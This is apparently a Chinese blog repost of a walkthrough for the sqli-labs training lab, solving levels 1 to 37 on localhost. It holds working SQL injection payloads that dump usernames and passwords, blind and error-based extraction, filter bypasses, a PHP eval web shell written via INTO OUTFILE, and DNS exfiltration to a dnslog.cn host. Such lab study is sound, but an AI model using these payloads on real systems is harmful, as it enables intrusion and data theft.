程序员

sqli-labs通关笔记

作者:admin 2021-05-03 我要评论

什么是sql注入 SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 称为SQL注入。 代码对带入SQL语句的参数过滤不严...

在说正事之前,我要推荐一个福利:你还在原价购买阿里云、腾讯云、华为云服务器吗?那太亏啦!来这里,新购、升级、续费都打折,能够为您省60%的钱呢!2核4G企业级云服务器低至69元/年,点击进去看看吧>>>)

什么是sql注入
SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 称为SQL注入。
代码对带入SQL语句的参数过滤不严格
未启用框架的安全配置,例如: PHP的magic. quotes. _gpc
未使用框架安全的查询方法
测试接未删除
未启用防火墙
未使用其他的安全防护设备

1.concat(str1,str2,…)——没有分隔符地连接字符串2.concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串3.group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
Mysql查询经常用到的语句
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=库名
查列:select column_name from information_schema.columns where table_name=表名
查数据:select 列名 from 库名.表名

sql注入简单三步骤
第一:输入ID的值使页面不发生变化
第二:输入一些特殊字符使得页面报错
第三:要让页面不报错

Less-1

http://localhost/sql/Less-1/?id=1’
在这里插入图片描述上述错误当中,我们可以看到提交到sql中的1’在经过sql语句构造后形成’1’'LIMIT0,1,多加了一个’。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的‘去掉呢?尝试‘or1=1–+
此时构造的sql语句就成了Select******whereid='1’or1=1–+'LIMIT0,1
在这里插入图片描述Mysql注入—sqlilabs—lcamry11此时构造的sql语句就成了Select*****whereid='1’or1=1–+'LIMIT0,1可以看到正常返回数据。此处可以利用orderby。Orderby对前面的数据进行排序,这里有三列数据,我们就只能用order by 3,超过3就会报错。‘order by 4–+的结果显示结果超出
在这里插入图片描述最后从源代码中分析下为什么会造成注入?Sql语句为 s q l = " S E L E C T ? F R O M u s e r s W H E R E i d = ′ sql="SELECT*FROMusersWHEREid=' sql="SELECT?FROMusersWHEREid=id’LIMIT0,1";Id参数在拼接sql语句时,未对id进行任何的过滤等操作,所以当提交‘or1=1–+,直接构造的sql语句就是SELECT
FROMusersWHEREid=’1’or1=1–+LIMIT0,1这条语句因or1=1所以为永恒真。
输入一下语句查询出当前数据库,和库里面的所有的表

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述查出users表里面所有列,
有 id ,username,password列

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

在这里插入图片描述查看里面的数据

?id=-1' union select 1,database(),group_concat(concat_ws("@",'username','password')) from security.users --+

在这里插入图片描述

Less-2

将’(单引号)添加到数字中,没有闭合方式
所以这里的奇数个单引号破坏了查询,导致抛出错误。因此我们得出的结果是,查询代码使用了整数。
在这里插入图片描述页面回显正常
在这里插入图片描述查看到当前数据库和用户
在这里插入图片描述

Less-3

输入单引号后发现页面报错,并且出现了一个括号
可以判定是个 ’ (单引号 ) 和 )(左括号) 的闭合方式
在这里插入图片描述查看到数据库和用户
在这里插入图片描述

Less-4

是一个双引号和右括号的闭合方式
字段数为3的
在这里插入图片描述

Less-5——基于’盲注

页面自出现两种结果,要么报错,要么不报错,所以这是一道盲注题
在这里插入图片描述经过测试,是一道布尔盲注,闭合方式是单引号闭合
判断当前数据库长度为8 length(database())=8
在这里插入图片描述
ascii(substr(database(),1,1))=115 当=115的时候页面回显正常
substr(a,b,c)从b位置开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值
在这里插入图片描述用burpsurite进行爆破
设置好参数进行破解
在这里插入图片描述在这里插入图片描述在这里插入图片描述设置好参数后可进行爆破
在这里插入图片描述也可以用报错的方式进行注入
接下来就是获取表名,就不一一进行爆破了,
先获取表数量
and (select count() from information_schema.tables where table_schema=database())>5
再用limit依次获取每个表名的长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,
最后获取每个表名的名字
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
获取列名
先获取列名个数
and (select count(
) from information_schema.columns where table_name=‘users’ and table_schema=database())>5,
再获取列名长度
and (select length(column_name) from information_schema.columns where table_name='users’ and table_schema=database() limit 0,1)>5,
最后获取列名
and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1),1,1))>97
获取数据
先确定第一个用户名长度
and (select length(username) from users limit 0,1)>5
and (select length(列名) from 库名.表名 limit 0,1)=11–+
再确定用户名每一个字符的对应字母
and ascii(substr((select username from users limit 0,1),1,1))>97
and ascii(substr((select 列名 from 库名.表名 limit 0,1),1,1))=97

Less-6——基于"字符型的错误回显注入

是一道双引号闭合的布尔盲注,这里就不一一讲解了
在这里插入图片描述

Less-7——文件读写注入

判断闭合
测试发现id=1’报错,但把后面的语句注释掉扔报错,还有括号闭合,发现加两个括号判断为((’$id’))闭合。根据提示Use outfile…,应该是具有导出什么的了。
直接写入shell,用蚁剑连接即可

?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "D:\\phpstudy\\PHPTutorial\\WWW\\sql\\Less-7\\shell.php"--+

在这里插入图片描述页面虽然报错,但已成功写入文件
在这里插入图片描述若是写入不成功,添加这行代码 secure_file_priv=
在这里插入图片描述添加到mysqld下面
在这里插入图片描述

Less-8——基于’的盲注

这是一道单引号闭合的盲注,可以参考less-5用burpsuite爆破

Less-9——基于’的时间盲注

sleep() //延迟函数
if(condition,true,false) //条件语句
测试?id=1’ and sleep(5) --+ 页面会延时5秒再回显,判断为时间盲注
参考less-5的步骤
在这里插入图片描述顺序对应ascii表对照就可以了
id=1’ and if((ascii(substr(database(),1,1))>1),sleep(3),1) --+ 爆出当前数据库
在这里插入图片描述爆库里面的第一个表
1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1),sleep(3),1) --+
在这里插入图片描述

Less-10基于"的时间盲注

是一道双引号的时间输入,和上面的操作一样即可

Less-11基于’的POST型注入

登录后,抓包
在uname、输入单引号后发现页面报错,可以判断是个单引号的闭合方式
在这里插入图片描述字段数为2列,然后就可以用联合查询了
在这里插入图片描述

Less-12——基于")的POST型注入

是一道上引号加左括号的闭合方式,字段书为2
在这里插入图片描述

Less-13——基于’)的错误回显注入

单引号左括号的闭合方式,用报错注入
在这里插入图片描述

Less-14——基于"的错误回显注入

双引号的闭合方式,在利用报错注入
在这里插入图片描述

Less-15——基于’的POST型注入(利用dns回显)

申请临时dns http://dnslog.cn/
在这里插入图片描述
利用dns回显
抓包输入sql语句,dns是自己临时申请的

and if((select load_file(concat('\\\\',(select version()),'.eqnt6l.dnslog.cn'))),1,1) --+ 

在这里插入图片描述刷新页面,就看到当前数据库版本
在这里插入图片描述

Less-16基于")的POST型注入(利用dns回显)

admin") and if((select load_file(concat(’\\’,(select database()),’.8cpfmy.dnslog.cn\aaa’))),1,1) --+
在这里插入图片描述在这里插入图片描述

Less-17——基于密码的报错注入

在这里插入图片描述

第十八关user-agent注入

闭合方式 ’ and 1=1 and’
知道闭合方式后利用报错注入
在这里插入图片描述

第十九关referer注入

在referer这里输入单引号后发现页面出现报错
在这里插入图片描述闭合方式 ’ and 1=1 and ’
在这里插入图片描述用报错函数,直接可以查看到数据库当前版本
在这里插入图片描述

第二十关cookie注入

在cookie这里输入单引号发现页面报错,可以判断是cookie注入
在这里插入图片描述用updatexml报错注入
在这里插入图片描述

第二十一关

这是一道cookie注入,并且数据是经过加密的,当输入admin’用base64加密,页面出现错误,可以判定是个单引号输入方式
在这里插入图片描述用base64加密数据在经过提交时,显示当前数据库信息
在这里插入图片描述

第二十二关 cookie注入

打开用BP抓,发现admin是经过base加密的
在这里插入图片描述所以要想注入,都是要经过加密才可以,经过我的测试,是个双引号闭合方式,uname=后面所有内容都是要经过加密 字段数是三列
-admin" union select 1,database(),3 # base64加密
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMgIw==
查到当前数据库
在这里插入图片描述

less-23——过滤注释的GET型注入

利用报错的方式进行注入
在这里插入图片描述

less-24——二次注入

假设知道有admin用户但是不知道密码
在这里插入图片描述首先点击New User click here? 注册admin’ – -用户
在这里插入图片描述然后登录该用户修改密码
在这里插入图片描述在这里插入图片描述
然后再使用admin输入刚才admin’ – -修改的密码
在这里插入图片描述登录成功,此时两个账号的密码一样

less-25——过滤or和and的单引号注入

双写or
在这里插入图片描述在这里插入图片描述

less-26——基于’过滤注释和空格的注入

对于空格,有较多的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
id=1’and(extractvalue(1,concat(1,concat(select%a0table_name%a0from%a0informatiom_schema.tables%a0where%a0table_schema=database()))))and’1’='1
本人绕过失败,不知道咋回事 求解求解
在这里插入图片描述

less-27——基于’过滤union、select与注释和空格的注入

?id=1'or(extractvalue(1,concat(0x7e,(SElEcT%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()))))or'1'='1

成功绕过
在这里插入图片描述

less-28

报错了
在这里插入图片描述

less-29 index.php——基于单引号字符型的注入

在这里插入图片描述

less-30 index.php——基于双引号字符型的注入

在这里插入图片描述

less-30 隐藏关login.php——基于双引号的参数污染绕过

注入语句

id=1&id=-1" union select 1,2,3 

less-31——基于")字符型的注入

在这里插入图片描述

less-31 隐藏关login.php——基于")的参数污染绕过

注入语句:

id=1&id=-1") union select 1,2,3

Less-32 宽字节注入

正常思路 输入’ " 等等一些特殊符号
在这里插入图片描述输入单引号之后出现了转义,把单引号转义成’,所以要用GBK编码 %df’
在这里插入图片描述字段数为3列,然后使用联合查询就可以了
在这里插入图片描述查询条件时要用单引号括这,如何直接用GBK转码是不行,所以要用十六进制
在这里插入图片描述

Less-33

这关和上一关操作一样
在这里插入图片描述

Less-34

和上一关类似,也是宽字节注入,要利用抓包,查到当前数据库,然后直接带入公司就可以了,
在这里插入图片描述

Less-35

id 没有被’ “符号包括起来,所以直接提交payload,后面跟上面方式一样了
在这里插入图片描述

Less-36

这一关特殊字符都被过滤了,输入什么都没有回显,可以直接用GBK编码尝试,尝试之后发现和上面的注入方式一样
在这里插入图片描述

第Less-37

直接在数据包里面修改数据即可
在这里插入图片描述

;原文链接:https://blog.csdn.net/m0_55563900/article/details/115373515

版权声明:本文转载自网络,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。本站转载出于传播更多优秀技术知识之目的,如有侵权请联系QQ/微信:153890879删除

相关文章
  • sqli-labs通关笔记

    sqli-labs通关笔记

  • Chrome 请求过滤扩展实现

    Chrome 请求过滤扩展实现

  • 极致CMS 1.9.2 审计与渗透测试

    极致CMS 1.9.2 审计与渗透测试

  • **遇到“Cannot create file “不要慌*

    **遇到“Cannot create file “不要慌*

腾讯云代理商
海外云服务器